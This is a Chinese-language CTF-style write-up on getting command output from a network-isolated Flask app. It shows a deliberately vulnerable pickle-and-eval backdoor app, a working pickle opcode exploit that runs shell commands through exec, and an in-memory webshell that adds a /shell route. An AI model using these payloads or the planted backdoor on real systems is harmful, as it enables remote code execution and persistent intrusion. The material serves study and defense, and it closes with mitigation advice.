flask不出网回显方式
字数 1112 2025-08-03 16:50:22
Flask不出网环境下的回显技术研究
前言
在CTF比赛或渗透测试中,当遇到Flask应用且目标机器不出网时,如何获取命令执行后的回显是一个常见问题。本文详细分析两种有效的回显方式:debug模式下的报错回显和非debug模式下的内存马技术。
环境背景
示例Flask应用关键代码:
from flask import Flask, request, session, render_template_string, url_for, redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin
app = Flask(__name__)
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
def index():
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)
return render_template_string('Hello')
config.py内容:
notadmin = {"admin": "no"}
def backdoor(cmd):
if notadmin["admin"] == "yes":
s = ''.join(cmd)
eval(s)
方法一:debug模式下利用报错回显
原理
当Flask应用开启debug模式时,任何未捕获的异常都会在页面上显示详细的错误信息,包括异常消息内容。
利用步骤
- 构造payload通过Exception抛出命令执行结果
- 由于eval不能直接执行Python语句,需要通过eval调用exec
- 通过pickle反序列化触发backdoor函数执行
示例exp代码
from base64 import b64encode
from urllib.parse import quote
def base64_encode(s: str, encoding='utf-8') -> str:
return b64encode(s.encode()).decode(encoding=encoding)
exc = "raise Exception(__import__('os').popen('whoami').read())"
exc = base64_encode(exc).encode()
opcode = b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec(__import__("base64").b64decode(b"%s"))'
lo.''' % (exc)
print(quote(b64encode(opcode).decode()))
关键点
- 使用
raise Exception()包裹命令执行结果 - 通过base64编码避免特殊字符问题
- 利用pickle反序列化设置
notadmin["admin"] = "yes"绕过权限检查
方法二:非debug模式下利用内存马
原理
通过修改Flask应用的运行时内存,添加新的路由作为后门,实现命令执行和回显。
获取当前app对象的方法
直接import获取的app对象与运行中的app不同:
import sys
import app
app1 = sys.modules['__main__'].__dict__['app'] # 运行中的app
app2 = app.app # 新导入的app
print(id(app1), id(app2)) # 输出不同的ID
正确方法是通过sys.modules['__main__']获取当前模块中的app对象。
添加内存马步骤
- 关闭debug模式避免报错
- 使用add_url_rule添加新路由
- 在新路由的处理函数中执行命令并返回结果
示例代码
import sys
sys.modules['__main__'].__dict__['app'].debug = False
sys.modules['__main__'].__dict__['app'].add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen('dir').read()
)
注意事项
- 必须在非debug模式下操作,否则会触发"View function mapping is overwriting an existing endpoint function"错误
- 添加的路由对所有请求都有效,直到应用重启
- 可以通过访问
/shell路径获取命令执行结果
总结对比
| 方法 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| debug报错回显 | debug模式开启 | 实现简单,无需持久化 | 依赖debug模式,可能暴露敏感信息 |
| 内存马技术 | 非debug环境 | 持久化后门,可重复使用 | 实现较复杂,需要了解Flask内部机制 |
防御建议
- 生产环境务必关闭debug模式
- 对pickle反序列化进行严格限制
- 监控Flask应用的路由变化
- 使用WAF拦截可疑的pickle payload
这两种技术不仅适用于CTF比赛,在真实世界的渗透测试中也有实用价值,理解其原理有助于开发更安全的Flask应用。